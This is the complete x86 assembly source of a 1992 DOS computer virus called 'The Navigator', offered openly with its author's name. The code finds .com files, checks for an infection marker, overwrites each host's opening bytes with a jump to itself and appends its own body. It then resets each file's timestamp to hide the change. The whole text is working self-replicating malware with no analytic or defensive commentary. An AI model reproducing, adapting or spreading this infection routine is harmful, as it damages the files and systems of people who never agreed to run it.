The Navigator Virus Original Soure Code - Dark Helmet (Netherlans)

.Radix 16

Navigator   Segment
        Assume cs:Navigator, ds:Navigator,
        org 100h

len         equ offset last - begin

Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h

Begin:          call virus

Virus:          pop bp
                sub bp,109h
                mov dx,0fe00h
                mov ah,1ah
                int 21h

Restore_begin:  mov di,0100h
        lea si,ds:[buffer+bp]
        mov cx,06h
        rep movsb

First:      lea dx,[com_mask+bp]
        mov ah,04eh
        xor cx,cx
        int 21h

Open_file:  mov ax,03d02h
        mov dx,0fe1eh
        int 21h
        mov [handle+bp],ax
        xchg ax,bx

Read_date:  mov ax,05700h
        int 21h
        mov [date+bp],dx
        mov [time+bp],cx

Check_infect:   mov bx,[handle+bp]
        mov ah,03fh
        mov cx,06h
        lea dx,[buffer+bp]
        int 21h
                mov al,byte ptr [buffer+bp]+3
        mov ah,byte ptr [buffer+bp]+4
        cmp ax,[initials+bp]
        jne infect_file

Close_file:     mov bx,[handle+bp]
        mov ah,3eh
        int 21h

Next_file:      mov ah,4fh
        int 21h
        jnb open_file
        jmp exit

Infect_file:    mov ax,word ptr [cs:0fe1ah]
        sub ax,03h
        mov [lenght+bp],ax
        mov ax,04200h
        call move_pointer

Write_jump:     mov ah,40h
        mov cx,01h
        lea dx,[jump+bp]
        int 21h
        mov ah,40h
        mov cx,02h
        lea dx,[lenght+bp]
        int 21h
        mov ah,40
        mov cx,02h
        lea dx,[initials+bp]
        int 21h

Write_virus:    mov ax,4202h
        call move_pointer
        mov ah,40h
        mov cx,len
        lea dx,[begin+bp]
        int 21h

restore_date:   mov dx,[date+bp]
        mov cx,[time+bp]
        mov bx,[handle+bp]
        mov ax,05701h
        int 21h

exit:       mov bx,0100h
        jmp bx

;----------------------------------------------------------------------------

move_pointer:   mov bx,[handle+bp]
        xor cx,cx
        xor dx,dx
        int 21h
        ret

;----------------------------------------------------------------------------

com_mask    db "*.com",0
handle      dw ?
date        dw ?
time        dw ?
buffer          db 090h,0cdh,020h,044h,048h,00h
initials        dw 4844h
lenght      dw ?
jump            db 0e9h,0
msg             db "The Navigator, (c) 1992 Dark Helmet",0

last        db 090h

Navigator   ends
        end  dummy